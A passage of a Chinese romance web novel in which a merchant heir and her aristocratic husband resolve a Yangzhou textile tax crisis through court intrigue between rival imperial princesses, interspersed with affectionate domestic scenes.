她本想将把茶业、盐业归入官盈的计策告知云青,以解她的燃眉之急,甚至还能助太女登皇位,但是太女、云青等处理问题的方式太过草率,分明是昏庸无能之辈,他日若这样的人登上皇位,天下商户定落不着什么好。 可偏偏她家夫郎是太女党,这事儿就得避着他。 朝廷有朝廷的考量,她是站在商户的角度考虑的,二者思考的事情角度不同,但是也由此事可看出,太女根本没有民为邦本这个意识。 若想解决此事,必须拿出一个方案,解决国库亏空的事情。 宋瑶投诚无门,陆丞相是断然不可能插手如此敏感的事件,夫郎又是太女党。 她真想说,宝,要不咱换个人扶持吧,把这太女扶上去,累死自己。 宋瑶叹了一口气,“不与你细说,你害怕你去找丞相大人,你也知丞相大人在朝中艰难,不好插手这事,不好叫你为难。” 陆润之思索片刻,道:“此事你不用担心。” 宋瑶愣了下,“你说什么?” 陆润之笑道,“我说此事你不担心。” 这意思是他插手了? 宋瑶佯装不知,皱眉道:“你可不能去找丞相大人。” 陆润之笑,“我不会去找母亲大人。” 宋瑶:“那你打算如何做?” 陆润之神秘一笑,“不必理会太女的威胁,一切如常,山人自有妙计,你且拭目以待。” 他的眼神里忽然有了神采,哪怕脸色依旧苍白,心情确忽然变好了起来。 宋瑶虽不知为什么,但她的心情也跟着轻松了起来,挑了挑眉,答应了,“行,那我就听你的。” 见她毫不犹豫地答应,陆润之倒愣了一下,“你这么,信任我?” 宋瑶笑,“你是我夫郎,我不信任你,还能信任谁啊。” 陆润之怔住,随即抿了抿唇,浅浅笑开来。 宋瑶捏了捏他的脸颊,恨恨道:“倒是你啊,不信任我。” 陆润之避开了她的眼神,轻松道:“我哪里不信任你了。” 宋瑶哼哼两声,说出了一个人的名字,“桑卿彦 。” 当初他就因家里的小侍吃醋,还把自己逼得生病了,现在想想也知道多少因为桑卿彦而委屈,但这是不可避免的,她与桑卿彦只是同行,再无其他。 不过这次有进步,已经学会问她了。 陆润之有些不好意思,“我没有。”半响,又补了一句,“再也不会了。” 桑卿彦虽是个导火索,但不是主要因素。 “你最好是。”宋瑶笑着摸了摸他的头发,倒有些喜欢他这么跟她闹一闹,无伤大雅,“我累死了,你要陪我睡会儿吗?” 陆润之往里挪了挪,“可以。” 宋瑶脱了衣衫,钻进了被窝,将人搂到怀里,拍了拍他的背部,“睡了睡了。” 陆润之握住她的手,找了个舒服的位置,微微弯起嘴角,终于是安心了。 他可以帮她做点事情,被需要着。 宋瑶搂着人,低头看了一眼,眼含笑意,随后又在心里叹了一口气。 他能一时站在她这边,却不能一直站在她这边。 到时候再说吧。 第54章 问题解决,两人相拥而眠,宋瑶特地吩咐下人不用打扰。 宋瑶与人周旋,本就累极,睡得很沉。 陆润之中午的时候便醒了,他小心地翻了个身,与宋瑶面对面,看着眼前的人,只觉得心里都被填满了。 她的眼睛是天生多情的桃花眼,平日看人的时候总是带着笑意,叫人觉得温柔多情,此刻闭着眼睛,面容更多了几分英气,她总说他模样生的好看,其实她的模样也生得很好,外出时,总有男子盯着她。 嫁与她,原本以为已经深陷泥沼,却发现绝处逢生,发现了宝藏。 陆润之嘴角不自觉染上了笑意,伸出手指,轻轻碰了碰她的睫毛。 宋瑶睡梦中觉得眼皮子有些痒,便别过脸躲开,随即那痒意又追上来,她抓住了那人作乱的手,咕哝道:“别闹,我好困。” 陆润之弯起嘴角,便不再闹她,便在她的怀里找了个舒服的位置,睁着眼睛,思索着问题。 如今最需要解决的问题就是国库亏空,这个问题一日不解决,皇帝一日不得安宁。 从农民身上征收赋税不切实际,今年水患,本就收成差,若再添赋税,恐让农民叫苦连天。 若皇帝践行仁爱之策,理应以自身为典范,从皇宫开始,勤俭节约,再带动朝中大臣,以示表率,这是其一。 现如今,官差俸禄远高于其它行业,缴纳税额却比农民还要低,若有人肯在此时站出来,主动请示缩减俸禄,也能省下一笔银子,这是其二。 皇帝万年懈怠朝政,对底下人的睁一只眼闭一只眼,朝中不乏贪官污吏,若能彻查,以充国库,也能解燃眉之急,这是其三。 最后,若想国库充盈,以上策略远远不够,所有以上皆是为了此计铺垫。皇帝带头缩衣节食,朝中大臣扣减俸禄,彻查贪官污吏,皆此种种动了上层的利益,都是为了堵住悠悠众口。提高商人的赋税在所难免,只是不能单单针对布行,其余茶叶、盐业,按照经营情况合理提高赋税,才能服众。 陆润之不了解各个行业的经营情况,需得找户部的人仔细商议。 司马怀瑾有勇无谋,易听信谗言,缺乏判断力,若以如今天下的形势,将天下交给司马怀瑾,受苦的是天下百姓,她这边是不能再辅佐。 原先是以为将来会嫁与司马怀瑾,是以尽心尽力为其出谋划策,后来是因着司马怀瑾是唯一他能接触朝中核心要是的人,现在仔细想来,确实不妥,不能因一己之私,乱了这朝中大事。 另一位皇位候选人司马怀柔,出身低微,也是近一年才在朝中崭露头角,不知之前是韬光养晦,还是怎么。 在不清楚对方底细的前提下,他不能贸然投诚七皇女司马怀柔,为官者最忌讳当墙头草,两头不落好。 目前形势紧迫,这事也拖不得。 扬州暴动之事被刻意镇压,消息还未泄露出去,所以朝廷迟迟没有动静,司马怀瑾打算对商户施压,悄无声息地将此事结束。 若司马怀柔有所绸缪,理应派人暗中盯着司马怀瑾,扬州之事便是一个契机。 若司马怀柔不知,他便让她知道,至少先把扬州之事平定。 过了中午那会儿,宋瑶便醒了,主要是感觉一直有人在扯她的头发,虽不疼,但有些痒,一醒来就看到她夫郎抓了一缕她的头发,在指间绕来绕去,睁着眼睛,看着天花板,不知在盘算什么,眼珠子一动一动的,连她醒了都不知道。 宋瑶轻轻弹了一下他的额头。 陆润之这才发现她醒了,偏头看她,“你醒了?” 宋瑶收回胳膊,伸了个懒腰,懒懒地“嗯”了一声,“想什么,这么入神?” 陆润之弯了弯眼睛,“不告诉你。” “嗯?”宋瑶侧躺着,撑起头,眼中含笑,“你不告诉我,我也知道。” 陆润之又抓了她的头发,“那你说说我在想什么?” 宋瑶嘻嘻笑,学着他的话,“我不告诉你。” “……” 陆润之推了一下她的肩膀,“你幼稚。” 宋瑶作势躺到,装模作样,“啊,好痛啊!” 陆润之顿了一下,狐疑地看着她,最后还是迟疑地伸出手,给她揉了揉肩膀。 宋瑶笑,趁机抓住他的手,一把将人拉入怀中,揉了揉,愉悦地笑,“你怎么这么好骗。” 陆润之气,又锤了下她的胸口。 宋瑶抱着他闹了一会儿,闹够了以后,道:“起来了,饿不饿?” 陆润之:“有点。” 宋瑶坐起来,随即将他拉起来,“那快起吧。” 陆润之眼中还带着笑意,问道:“你下午去哪里?” 宋瑶:“自然是布厂里。” 陆润之:“我与你一同去。” 宋瑶挑了挑眉,“可以啊。” 第55章 等妻夫二人收拾完毕,吃饭的时候已经半下午了,两人说说笑笑,总是黏在一起。 孙琴看着她们就想到了自己年轻的时候,到底是新婚燕尔的小妻夫,视线跟黏在彼此身上了一样,这二位分开的时候,都是少年老成的性子,在一起的时候才看得出来还是少年心性。 吃过饭后,宋瑶便带着孙琴去纺织厂,如约带上了陆润之。 马车上,宋瑶懒洋洋地歪在陆润之身上,拉长了语调,“不知夫郎与为妻一同去纺织厂是想知道些什么呢,为妻都可以告诉你。” 陆润之推了推她,却发现她跟牛皮糖一样,根本推不开,有些无奈,索性任由她靠着,“不用,我自有我的考量,你只管忙你的便是,不用理会我。” “哦?”宋瑶调整了姿势,在他身上蹭了蹭,“那好吧。” 两人想贴着,陆润之觉着什么东西咯在他们之间,便伸手去摸,是她腰间的一块玉佩,只不过这形状他好像从未见过,便拉出来一看,果真是他没见过的。 这玉佩晶莹剔透,一看就是上好的玉,非富即贵的人才买得起,只不过这样式像是男子的。 陆润之看她,问道:“这是谁的?” 宋瑶一顿。 陆润之眯了眯眼,“桑老板的。” 他的语气笃定,已经猜到了。 宋瑶明明光明正大,此刻却有一丝心虚,她不由得直起身体,摸了摸鼻子,承认道:“的确是桑老板的。” 下人怎么把这个玉佩给她戴上了,许是以为这是她的。 她一个已婚女君,带着未婚男子的玉佩,确实不太好,虽然这玉佩她赢得光明正大。 陆润之捏着玉佩,不说话,却满眼 写着:你给我解释解释。 宋瑶清了清嗓子,尽量不让自己看起来心虚,“与桑老板打了个赌,赢的。” 显然这个时候多说多错,尽量言简意赅。 陆润之眯了眯眼,显然对这个有些敷衍的答案不满意。 宋瑶睨了一眼他的神色,继续硬着头皮补充细节,“就是那日,我俩在茶楼喝茶,碰巧看到楼下百姓游行示威,便打赌税务司什么时候找我们两家布行,赌注是两人身上最值钱的东西,然后我就赢了他的玉佩,只是一个普通的玉佩罢了,不代表什么,许是下人以为是我自己的玉佩,今日穿衣的时候便给我戴上了。” 这才是事情的全部经过。 陆润之抿了抿唇,“你还跟他喝茶?” 宋瑶就知道还有这茬等着自己,忙道:“碰巧遇到的,便拼了个桌,怎么着也是生意上有所往来。” 陆润之又不说话。 宋瑶知道这是接受了她的解释,就差哄一哄了,于是便将人往怀里搂了搂,“我与桑老板只是生意上的合作伙伴,你也知道,这玉佩不日我就还给他了。” 陆润之本就没生气,只是喜欢她哄着自己,想她多哄哄自己。 宋瑶却忽地想起了什么,松开了他,背对着他坐着,忽然生气了。 陆润之愣住了,不明白她这是闹得哪出,“怎么了?” 宋瑶幽怨似的瞥了他一眼,叹了一口气,假装抹了抹眼角,“郎君真是好生无理取闹,我不曾与你计较什么,你却总抓住我不放。” 陆润之仔细想了一下她在说什么,毫无思绪,“你在说什么?” 宋瑶坐过来,面对着他,“你且说说那日在库房里给你的书房挑选字画,那副字画你为何不让我打开?” 陆润之懵了一瞬,“哪幅字画?” 宋瑶眼里的幽怨和伤心都要溢了出来,“就是那副,是不是你前未婚妻送与你的,有些事我不说,不代表我真的不在乎,只是偷偷藏在心里,表面装作不在意罢了,我自知身份低微,比不上你那前未婚妻,也不敢追究是是否还惦念——” 眼瞧着她越说越离谱,陆润之听不得她说这些,便立刻捂住了她的嘴唇,无比认真地解释道:“那副字画的确是司马怀瑾赠与我的,不知怎么混在我的嫁妆中,不小心带了过来。司马怀瑾自是出身较好,却也只有这点好了,无论是我嫁与你前后,与她都是没有任何感情,那副字画早已被我扔掉。” 宋瑶眨了眨眼睛,方才自然是演的,她想要的是夫郎与她撒撒娇,却没想到他这么认真地跟她解释,真是哭笑不得。 两人贴的极近,近得陆润之眼里都是她的倒影。 “你不许再这么说自己。”他顿了一下,神色无比认真,“我会很难过。” 宋瑶弯了弯眼睛,忍不住笑出声,肩膀一抖一抖的,她真的很想继续演下去,但是他真的好可爱哈哈哈哈哈哈,叫她不忍心再逗他。 瞧她这幅模样,陆润之立刻知道她又是在逗自己,眼中闪过羞恼,在她肩膀上砸了一下,气得背对着她。 宋瑶从身后环住了他,眼中净是笑意,教他道:“以后如果遇到这种情况,你只与我撒撒娇就好了。” 陆润之玩着她的手指,“你喜欢会撒娇的?” 这是个送命题,宋瑶从善如流地回答:“我喜欢你与我撒娇。” 陆润之耳尖一红,半响,才道:“我不会。” “那我教教你。”宋瑶笑,“那我教教你,你下次就说,姐姐,不要生我气了。” 陆润之动作一顿,脸色闹了个通红,他可是比她要大了一岁的。 宋瑶捏了捏他的手,“学会没有。” 陆润之没说话,转过身,将脸埋进她怀里。 宋瑶诱惑他,“真的,我不会骗你,这招对我很好使的。” 陆润之:“怎么个好使法?” 宋瑶:“无论我多么难过生气,都会原谅你的。” 陆润之不说话。 宋瑶捏了捏他的耳朵,“听到没有。” “……” 两人闹了一路,终于到了纺织厂。 宋瑶对他道:“今日有重要合作商接待,你要与我一起吗?” 陆润之:“不用,你忙你的。” 宋瑶:“让孙姨带你转转吧,有什么想知道的,可以直接问她。” 陆润之笑,“我知道了,你去忙吧。” 说罢,宋瑶便离去,留下孙琴与他,特地交代孙琴,没什么可避着他的。 等宋瑶的背影消失在走廊的拐角处,孙琴毕恭毕敬地问陆润之,“少主君,老妇带您到处转转吧。” 不与少家主在一起时,少主君身上有种拒人千里之外的冷漠气质,加上他出身高贵,在孙琴眼里等同于高官家属,在她们这些商人眼里,面对官员时,总觉得自己低人一等,她便不自觉恭敬了起来。 陆润之:“劳烦孙姨了。” 孙琴:“不敢。” 孙琴带着陆润之参观了纺织厂,比起之前,纺织厂的工人少了一些,但是规模在扬州城内依旧是数一数二的,养活看许多本地人。 陆润之:“机户税、城门税这些加起来,占了利润的几层?” 孙琴叹了口气,道:“不止机户税、城门税,还有其它乱七八糟的税收,算上材料、人工成本,在这种情况,布行已经是入不敷出,也不知可以撑多久,实在不行,只有放弃在扬州这里的生意了,原本这里的小户布匹生意就倒闭了大半。” 陆润之:“若是缩减成本呢?” 孙琴摇摇头:“缩减成本只考虑缩减工人数量,其它材料不可轻易缩减,像我们与永昌布行都是老牌字号,做生意的要讲究诚信。” 陆润之点点头:“带我去账房吧。” 孙琴犹豫了一刻,又想起宋瑶交代的,便应了,心道少家主可真宠少主君。 账房内,书桌上还摊着宋瑶未看完的账本,算盘也仍在一边。 陆润之走过去,随意翻了两页。 孙琴悲观地叹道:“少家主自从来了扬州,除了第一日,便没有好好休息过,不是在为了税务司的事情奔波,就是在核对账本,眼下税务司已经下了死令,怕是无力回天。” 陆润之坐下,接着宋瑶的账本看了起来,对孙琴道:“你有事的话,且去忙吧,不用留在这里。” 孙琴:“欸。” 她退出了账房,泡了壶茶端了进来,一眨眼的功夫,陆润之手边的账本已经少了两本。 孙琴奉茶过去,暗暗惊讶。 陆润之放下账本,接过茶,“有劳孙姨。” “少主君客气了。”孙琴夸赞道:“您可真是少家主的贤内助。” 陆润之笑了笑。 过了会儿,孙琴被一位纺织工叫了去,账房内只剩下陆润之,他看了几本账本后,大致理解了纺织厂的运作模式以及营收构成,的确如孙琴所说,布行几乎是入不敷出,现在只是在强撑着,等待转机。 这样看下来,布行并不是暴利行业,按照常规思维,若真是为了充盈国库,拿布行开刀并不是一个最佳选择,其它烟、酒、茶、盐呢? 原因只可能有一个,做布匹生意的,上层关系不够过关。 官商勾结,多半发生在暴利行业。 知道自己想了解后,陆润之离开了账房,比起看账本,他最重要的事去帮宋瑶解决税务司的事情。 宋瑶还在与人商谈事情,陆润之去看了一眼,不便打扰,于是交代了孙琴,先行离去,刚出门就收到暗卫送来的书信。 信中说明,七皇女在扬州城果然有人,只是为何还迟迟没有动静,是发生了什么事吗? 陆润之戴了帷帽,吩咐:“去税务司。” 他需得见一见司马怀瑾,查探一番情况。 等一切尘埃落定,他再与宋瑶坦白一切。 她应该会支持他的吧? 毕竟她今日说过了,只要他撒撒娇,无论她多么难过生气,都会原谅他的。 第56章 陆润之来到税务司,向管事的 人出示了太女信物,立刻被毕恭毕敬地请了进去,他果然没有猜错,司马怀瑾就在此处。 接到下人通传,司马怀瑾先是愣了一下,随即自信地哈哈大笑,男人,嘴上说不来,这不还是巴巴地跟来了,还不是担心她。 “将人带到书房,我稍后便来。”司马怀瑾道,她不认为陆润之是为了宋瑶来的,宋瑶一个商户,对于喜爱权势的陆润之毫无用处。 陆润之在书房等了一会儿,司马怀瑾才姗姗来迟。 司马怀瑾笑道:“润之何时来的扬州,怎么不差人与我说一声?” 陆润之淡淡道:“刚到,不劳殿下挂心。” 司马怀瑾慢悠悠地喝了口茶,“不知润之来扬州所为何事?” 她这是头一次在他面前露出这般倨傲的模样,想来是最近受到皇帝颇多夸赞,叫她失了本心,如此怎能担当大任。 陆润之不慎在意,与她周旋道:“自然是来看看殿下的事情解决没有?” 司马怀瑾挑眉,果然还是关心她啊,她放下茶杯,笑道:“一点小事而已,无足挂齿。” 陆润之将话题引到司马怀柔身上,“我只担心司马怀柔虎视眈眈,从中作梗,夜长梦多。” “润之多心了。”司马怀瑾嗤笑一声,轻蔑道:“怀柔妇人之仁,现在正在母皇床前侍疾呢,分不清孰轻孰重,母皇现在想要的分明是能够解决问题的人,是我以前看岔她了,才将她当作竞争对手。” 陆润之敛眸,看来她没有发现司马怀柔的人,也是以她蠢笨自大的脑子,不会想到这茬。那么司马怀柔定是知道扬州发生的事情,只是没有张扬,为什么呢? “母皇与我说了,若我能将此事办妥,便让我正式涉足朝政。”司马怀瑾兴冲冲道,皇帝说这话的意思便是正式宣布她继承人的身份了。 听她如是说,陆润之眸光一动。 原来如此。 皇帝生性多疑,如今重病缠身,卧榻不起,却已经把持着重要朝政,可见是不想放权,对于皇位候选人依旧还在斟酌。而皇帝对司马怀瑾说的话,并不是真的想让她填补国库,而是在试探司马怀瑾的态度。 司马怀瑾如今在朝中高调张扬,光明正大拉帮结派,结私党羽,怕是早已引起皇帝不满。 如今扬州之事对于司马怀瑾来说,成,便坐实了她觊觎皇位之心,不成,便是她能力不足,显然前者更加令皇帝忌讳。 司马怀柔是个聪明人,不参与此事,而是敛其锋芒,侍奉在皇帝床前,以表孝心,单就心机这一点,已经远远赢了司马怀瑾。 短短一瞬,陆润之脑海中已经千回百转,理清其中利害,面上却不显,眼中滑过一丝极浅的笑意,“那就提前恭喜殿下了。” 既如此,成败与否对司马怀瑾来说结局都是一样,他倒是可以“助”她一臂之力。 陆润之改变了之前的想法。 “对了。”司马怀瑾道:“我已向宋氏布行和永昌布行下了死令,命令她们立刻将辞掉的工人招回,你既已嫁给宋、宋什么来着,她那边配合吗?” 陆润之没有回答她的问题,反而徐徐道:“殿下,即使宋氏布行和永昌布行眼下听从了命令,将辞退的工人招回,但是这并不是长远之计,我已查探过宋氏布行的情况,如果如以往一样给工人发放薪水,依制缴纳赋税,恐怕撑不了多久,我相信,永昌布行也是如此。” 司马怀瑾皱眉,“这种商人腰缠万贯,区区小钱而已,倒不至于。” 陆润之:“若殿下不信,可召集户部亲自核验。宋氏和永昌布行是扬州两大经济命脉,若日后这两家布行倒闭,后果不堪设想,由小见大,推及天下也是如此,此计只能解决燃眉之急,不是长远发展之计,恐怕也不是陛下想要看到的。” 司马怀瑾沉默了几息,似乎有所动摇。 她本身就是耳根子软的人,没什么主见。 陆润之继续道:“若从治理天下的角度来看,陛下肯定也希望看到殿下能够拿出思虑周全的法子。” 虽不排除他在帮宋瑶的嫌疑,但是他说的很有道理,而且既然他这么说,一定是有办法。司马怀瑾的态度再次恭敬了起来,“润之可有什么好办法?” 陆润之便道:“其一,上书直谏,请求由皇宫开始,减少开支;其二,自请缩减俸禄,以示表率;其三,对商户加收赋税不能只针对布行,依照各行各业的利润,在合理范围内分层收缴税额,诸如盐商利润大,可多征收一些,布商利润少,可少征收一些,具体之策,可与户部共同商议制定。如此三计,一来以身作则,堵住悠悠众口,二来让陛下看到你的决心,同时能够循序渐进,填充国库。” “好好好,妙极妙极!”司马怀瑾拍掌称赞,“既然润之已有完全之策,不如现在就把折子写出来,不日我便呈递上去。” “帮”人“帮”到底,陆润之自然乐意,于是来起身,来到桌案前,不多时,便仿着司马怀瑾的字迹,将折子写好了。 陆润之道:“殿下,还有一事。” 司马怀瑾:“润之不妨直说。” 陆润之:“既已敲定主意,不如率先取消扬州布行的附加税收,尽快恢复扬州秩序,否则传到陛下耳中,恐对殿下不利。若宋氏和永昌两家布行不配合,届时也会难以收场。” 司马怀瑾:“言之有理,我即可快马加鞭,差人递折子,向母皇说明情况。” 司马怀瑾虽然嘴上信誓旦旦,十分信服陆润之的话,但是在陆润之走后,她又与云青细细看了陆润之写的折子,琢磨了一番。 司马怀瑾问云青:“你觉得如何?” 云青道:“臣以为妙计,我朝从未有过分层收缴赋税的先例,只是诸如茶业、盐业可不如布行那么轻易顺从。” “既是难事,方能向母皇表明我的决心。”司马怀瑾道,“真是难为陆润之为了保全他那个废物妻主,想到了如此周全之策。” 云青拍马屁附和道:“殿下慧眼。” 司马怀瑾将折子递给她,“即刻将这折子递上去,加急。” 八百里加急的折子,快马加鞭,不出四日,就送到了皇帝面前。 皇帝的病情在司马怀柔的侍奉下,竟好转了起来,可以坐着看折子了,钦天监说七皇女乃是陛下的福星,定能助陛下安然度过难关,是以龙颜大悦,皇帝便将七皇女日日带在身边。 司马怀柔便侍奉在皇帝左右。 皇帝看完司马怀瑾的折子,神色晦暗不明,随即哈哈大笑,“好好好!” 司马怀柔将皇帝的神色尽收眼底,她时常伴皇帝左右,十分清楚皇帝此刻是假笑,但只是佯装不知,保持老实人人设,“母皇何时如此开怀大笑?” 皇帝将折子递给司马怀柔,“你自己看看,你皇姐这折子写得当真妙计。” 她眼中的神色不似作假。 司马怀柔却不敢轻举妄动。 皇帝将折子仍在她面前,“怀柔,叫你看你就看,顾虑什么。” 司马怀柔拿起折子,“是,母皇。” 当皇帝的,试探几乎成了本能,如今皇帝愈发的多疑,她得更加小心。 司马怀柔翻开折子,一目十行地读完,眼中流露出赞赏之色。 皇帝将她的神色尽收眼底,等司马怀柔合上折子,问道:“你以为如何?” 司马怀柔赞道:“果真如母皇所说妙极,皇姐思虑周全,儿臣远不如皇姐。” 她面上诚挚的称赞,心里却十分清楚,以司马怀瑾的脑子,肯定是想不出这样的策略,司马怀瑾的脑子时好时坏,取决于有没有人帮她出谋划策,以前她的好未婚夫陆润之,现在是她的幕僚润玉,这解决问题的思路倒是如出一辙。 皇帝对她的话未做评价,“你自有你的好处,不用与太女相比。” “是。”司马怀柔眼中闪过迟疑,有话要说,似乎是顾忌着什么,“母皇……” 皇帝:“怀柔有话直说。” 司马怀柔跪地一拜,“皇姐所献之策自是万全,只是有一点,若母皇打算以身作则,还望母皇顾及龙体,母皇身体尚未痊愈,万不可在食药方面短缺了自己。” 皇帝眼中闪过笑意,“你倒是孝心,快起来吧,朕心中有数。” 说罢,她便在司马怀瑾 的折子上,用朱砂批了准字。 司马怀柔恭恭敬敬地在一旁研磨。 皇帝一抬头就看到司马怀柔低眉顺眼的模样,心中滑过一抹暖流,“这些日子辛苦你了。” 司马怀柔:“母皇哪里的话,能让儿臣尽孝心也是儿臣的福分,儿臣只盼着母皇的身体早日康复。” 皇帝叹息一声,她这幅身体就跟太女的脑袋一样,时好时坏,也不知道能撑多久,如今太女早已对她的位置虎视眈眈,迫不及待,她倒是也想将皇位传与太女,可总是不放心将这天下交给她。 七皇女深得她心,只是性格过于温和,缺乏帝王的狠厉。 皇帝看了一眼司马怀柔,忽然道:“你来批折子。” 司马怀柔猛地抬头,诚惶诚恐,跪地道:“母皇,儿臣万万不敢。” 皇帝:“有什么不敢的,你本就是皇女,理应为母皇分忧。” 司马怀柔仍是拒绝,“这礼不合,还有皇姐。” 提到司马怀瑾,皇帝的声音冷了几分,“她远在扬州,朕叫你批你就批,朕在旁边看着,你怕什么?” 司马怀柔这才犹豫着起身,“是,母皇。” 于是她便搬来了椅子,坐在皇帝身边,起先是皇帝指导,她批着,后来一些无关紧要的折子,皇帝便让她自己拿主意。 渐渐的,皇帝发现,她这位七皇女一点既透,举一反三,十分聪慧,很有天赋,只是疏于教导,上手有些慢。 皇帝看着司马怀柔陷入沉思。 直到司马怀柔批得手腕酸痛,才将堆积了许多时日的折子批完,皇帝也累极,喝完药就睡下了,司马怀柔便退下了。 出了宫门,便有下属来报,“太女那边不曾有所动静,扬州已无事。” 司马怀柔淡淡道:“继续盯着。” 下属道:“听闻陛下对太女所献计策十分满意,最近太女的风头是否过盛了些,朝中大臣隐隐有向太女那边倒的倾向。” 司马怀柔一笑,意味不明道:“皇姐有风头出,便让她出好了。” 下属道:“殿下不急?” 司马怀柔稳坐泰山,“有什么可急的,母皇身体已渐渐康复,且让皇姐好好出她的风头。” 下属:“殿下,还有一事。” 司马怀柔:“说。” 下属:“陆润之也去了扬州,暗卫看到他出入税务司,与太女相见。” 司马怀柔眼珠子一动,看来那个所谓的润玉就是陆润之,难怪能想出这样的计策,只是依照陆润之的性子,怎么会在皇帝重病的情况下,提出缩减皇宫开支的建议呢? 那折子中计一写得十分含糊,与后文谨慎的措辞明显不同,怕不是有意而为之。 难不成司马怀瑾得罪了陆润之,陆润之故意的? 她记得陆润之的妻主可是宋氏布行的少家主,太女在扬州施行暴政,如此便说得通了。 想必陆润之也清楚如今的局势,暗中推波助澜罢了。 司马怀柔心情极好,虽不知其中到底发生了什么,但是如果陆润之与司马怀瑾生了嫌隙,事情就好办许多。 司马怀柔勾起嘴角,“我知道了,派个人盯着陆润之。”顿了下,又道:“若他困难之时,可出手相助。” 下属:“是。” 司马怀柔挥挥手,打定主意,坐收渔翁之利,她的好皇姐啊,最好顺顺利利的将事情办成,再去母皇面前邀功,自请参与政事- 扬州城内,税务司宣布,取消针对布行的机户税和城门税,百姓欢呼,宋氏布行也永昌布行也宣布,此前离去的工人可选择回到纺织厂,获得一片称赞,名声大噪。 宋瑶得知消息,自然惊喜,但也在预料之中。 桑卿彦送来拜帖,相邀一聚,以表谢意,宋瑶婉拒了,毕竟家里还有一个醋坛子,若醋了,她又得话费一番心思哄。 扬州这边的事情已经落地,在陆润之的帮助下,账本很快查完了,宋瑶便带着陆润之在扬州城倒出逛了逛,感受这人间热闹繁华和烟火气息,也不算枉来一趟。 夜晚,繁华的扬州城,灯火璀璨。 宋瑶花钱雇了几个人,得了准许,在大运河边上放起了烟花。 璀璨的烟火在京杭大运河上方绽放,盛大得仿若点亮了整个扬州城的夜晚,引得行人驻足观望,听说是那宋氏布行的少家主一掷千金,只为讨夫郎欢心呢,惹得城中儿郎纷纷羡慕不已。 漫天烟火笼罩之下,映入了陆润之的双眸中,他的嘴角不自觉扬起,眼中盛满了笑意,竟比这烟花还璀璨。 他在看漫天烟火。 宋瑶在看他。 陆润之转身,扑到了她怀里,眼睛亮晶晶的,语气欢快,头一次有了少年的活泼模样,他道:“我喜欢扬州城。” 宋瑶笑,接住了他。 她的笑容实在太过宠溺,让他觉得,无论他提什么要求,她都会答应。 陆润之环住了她的腰,在她耳边说:“以后如果有机会,我们定居扬州吧。” 宋瑶愣了一下,随即笑着应了,“好。” 。 第57章 扬州的事情结束后,宋瑶便带着陆润之返京。 离开那天,桑卿彦为了表示对宋瑶的谢意,特地来给她们送别,给她们带了礼物。 桑卿彦送礼投其所好,给宋瑶的是纯金的一小尊财神爷,给陆润之的是晋朝书法家王明之的真迹,这两样礼物价值连城。 宋瑶看得出来,他这么做,是不想欠她们人情,便承了他的好意,晃了晃沉甸甸的财神爷,笑嘻嘻地问道:“不愧是桑爷,财大气粗啊,日后我们再来扬州,还有这样的礼物吗?” 桑卿彦对她这幅模样很无语,明明她比他更有钱,不耐烦地摆摆手,“快滚回你那寸土寸金的京城吧,可别再来我们穷乡僻壤了,宋老板要再多来几次,我都要破产了。” 宋瑶:“得嘞。” 她朝马车走去,又去而复返,从袖筒里掏出玉佩递给他,“君子不夺人所好,还是还给桑老板吧。” 桑卿彦一瞥,便知道这小财迷为什么把玉佩重新还给他,估计是夫郎醋了,便也没有推辞,接过玉佩,挥了挥手。 宋瑶抱拳,“后会有期。” 桑卿彦笑,“后会无期。” 陆润之在距离她们不远处,看到宋瑶把玉佩还给桑卿彦,眼中滑过一丝浅浅的笑意。 回到马车上后,宋瑶将桑卿彦送的字画递给陆润之,“这是桑老板送给你的,说是那谁王明之的字画。” 陆润之接过字画,笑着道:“方才有没有帮我谢过桑老板。” “不用谢,你帮了他这么大忙,应该的。”宋瑶端着金子做的财神爷,爱不释手,这尊财神爷的大小做的也刚刚好,端在手里沉甸甸的,十分有安全感。 陆润之瞧着她对手里的礼物爱不释手的模样,问道:“你很喜欢?” 宋瑶笑,“是金子我都喜欢。”接着视线从财神爷上移到他身上,轻浮地勾了勾他的下巴,调侃道:“哦,我忘了,我家夫郎可看不上这些俗物。” 陆润之拿开她的手,微微蹙眉,腮帮子鼓鼓的,有些赌气似的,“我可没有说我不喜欢。” 他最近可越来越像十几岁的少年了。 宋瑶瞧着他这模样,哈哈大笑,将财神爷扔到一边,将他揽入怀中,揉了揉。 陆润之顺势环住她的腰,将手心贴在她胸口处,感受她沉稳的心跳,很安心,近些日子,总想跟她亲近一些,再亲近一些,怎么都觉得不够。 宋瑶抓住在她胸口作乱的手,“别乱动。” 陆润之乖乖地没动。 宋瑶才放开他的手,他又开始作乱,食指指尖顺着她的心口一点一点下滑,隔着衣服,却像点燃了星星之火。 宋瑶的眼神黯了黯,眼睛眯了眯,在他腰间掐了一把。 “疼……”他的声音委委屈屈的。 “娇气。”宋瑶根本没用力,没好气道:“叫你别乱动。” 陆润之咬了咬唇。 她总是不碰他。 若不是洞房之夜,他真的以为她有什么难言之隐。 她对他越好,他想要的越来越多。 陆润之从她怀里抬起头,盈盈水眸,看着宋瑶。 宋瑶被他看得心都要化了,温声问:“怎么了?” 陆润之顿了一下,“有种不真实的感觉。”像在做梦。 他从未来妻主抱有任何希望,闺中好友有嫁京中才女的,新婚燕尔,两人甜蜜如初,不久接二连三地侍君便抬入府中,太多的女子三心二意,宋瑶的出现就像是幻想,就连话本中也不会这般写。 宋瑶掐了一下他的脸颊,“现在真实了吗?” 陆润之重新埋入她的怀中,轻声道:“你会一直这样吗?” 宋瑶毫不犹豫,“会的。” 所幸,他问的是“你会一直这样吗”,而不是“你会一直对我好吗”,若是后者,她真的得小心回答了,毕竟她从来不会对伴侣说谎,说出口的承诺总要兑现。 陆润之弯起嘴角。 最近她对他愈发地纵容,让他觉得,做什么都没关系。 陆润之把玩着她的手指,半响,才鼓起勇气道:“我有一件事,回京城后,再与你说。” 宋瑶自然知道是什么事情,笑着问道:“什么事不能现在说?” 陆润之任性,“现在不想说。” 宋瑶揉了揉他的头发,温声道:“你想什么时候说便什么时候说,都依你。” 陆润之从她怀里坐起来,直起身子,看着她的眼睛,那双桃花眼含着笑意,眼角微微上翘,温柔得似三月春风,似乎可以包容万物。 她似乎永远不会生气,只有神才不会对凡人生气。 宋瑶笑,“你这么盯着我做什么?” 陆润之神色认真,把心里想的问了出来,“你不会忽然消失的吧?” 宋瑶愣了一下,随即笑着摇摇头,重新将人纳入怀中,叹了一口气,有些无奈,“怎么会这么问,我哪里做的不好吗?” 宋瑶自认为作为伴侣,十分合格,却隐隐感觉他最近有些患得患失。 陆润之没说话,就是太好了。 